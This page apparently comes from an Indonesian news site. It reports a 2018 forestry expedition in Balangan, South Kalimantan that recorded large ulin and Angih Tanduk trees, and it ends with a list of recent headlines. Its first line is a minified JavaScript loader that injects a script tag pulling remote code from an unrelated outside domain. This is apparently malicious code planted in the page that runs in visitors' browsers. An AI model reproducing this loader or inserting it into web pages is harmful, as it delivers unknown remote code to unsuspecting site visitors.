(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Ekspedisi RPH Tebing Tinggi Temukan Pohon-Pohon Eksotis


BANJARBARU, Kepala RPH (Resort Pengelolaan Hutan) Tebing Tinggi beserta Penyuluh melakukan ekspedisi ke Tanjungan Cincin yang berada di wilayah Desa Marajai, Kecamatan Halong, Kabupaten Balangan, Jum’at (2/3). Ikut seta dalam rombongan Kepala Desa Marajai, Adi Setiawan, Ketua RT 3, Dinah dan seorang Tokoh Masyarakat, Utan, yang berlaku sebagai pendamping kegiatan.

Kegiatan ini dilakukan selama 3 hari. Mulai Rabu 28 Februari hingga Jum’at 2 Maret 2018. Hari pertama rombongan berangkat berjalan kaki dari Tanjungan Jelamu, sebuah anak desa yang berada dalam wilayah RT 3 Desa Marajai.

Perjalanan menuju Tanjungan Cincin ditempuh dalam waktu sekitar 4 jam dari Tanjungan Jelamu. Selain karena medannya yang lumayan ekstrem dengan topografi naik turun, rombongan beberapa kali juga harus berhenti untuk melakukan identifikasi beberapa pohon yg ada.

Selain itu, rombongan juga mengambil foto beberapa riam dilewati. Riam-riam disana walaupun tidak terlalu tinggi, namun keindahannya sangat luar biasa. Disamping deras dan jernih, panorama alamnya yang berlatarkan hutan alam membuat perpaduan alam yang sangat indah.

Kegiatan hari kedua adalah melaksanakan identifikasi Tanaman Ulin dan jenis lainnya yang tumbuh subur di Tanjungan Cincin.

Hasilnya, terdapat banyak jenis tanaman yang bahkan sudah cukup langka, dengan diameter yang sangat besar, seperti ulin yang memiliki diameter hampir 120 cm. Rata-rata ulin yang ditemukan memiliki diameter antara 80-100 cm dengan jumlah pohon mencapai puluhan batang dengan jarak cukup dekat.

Ada pula pohon Angih Tanduk yang memiliki diameter 180 cm, pohon Angih Tanduk menurut masyarakat merupakan pohon jenis meranti, hal ini tentunya sangat luar biasa melihat dari ukuran diameternya bukan tidak mungkin pohon tersebut sudah berumur 200-300 tahun.

Masih banyak lagi jenis-jenis tanaman eksotik Kalimantan rombongan temukan disana. Namun sayang seribu sayang, kegiatan ini terkendala cuaca, sepanjang kegiatan melakukan identifikasi, hujan terus turun mengguyur sehingga hasil yang diperoleh kurang maksimal.

Akan tetapi, rombongan sudah cukup puas dengan apa berhasil ditemukan, harapan kedepannya kegiatan ini perlu melibatkan lebih banyak pihak. Sehingga, impian untuk menjadikan Desa Marajai sebagai Desa Wisata berbasis Edukasi bisa terwujud.(cel)

Reporter : Cel
Editor : Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.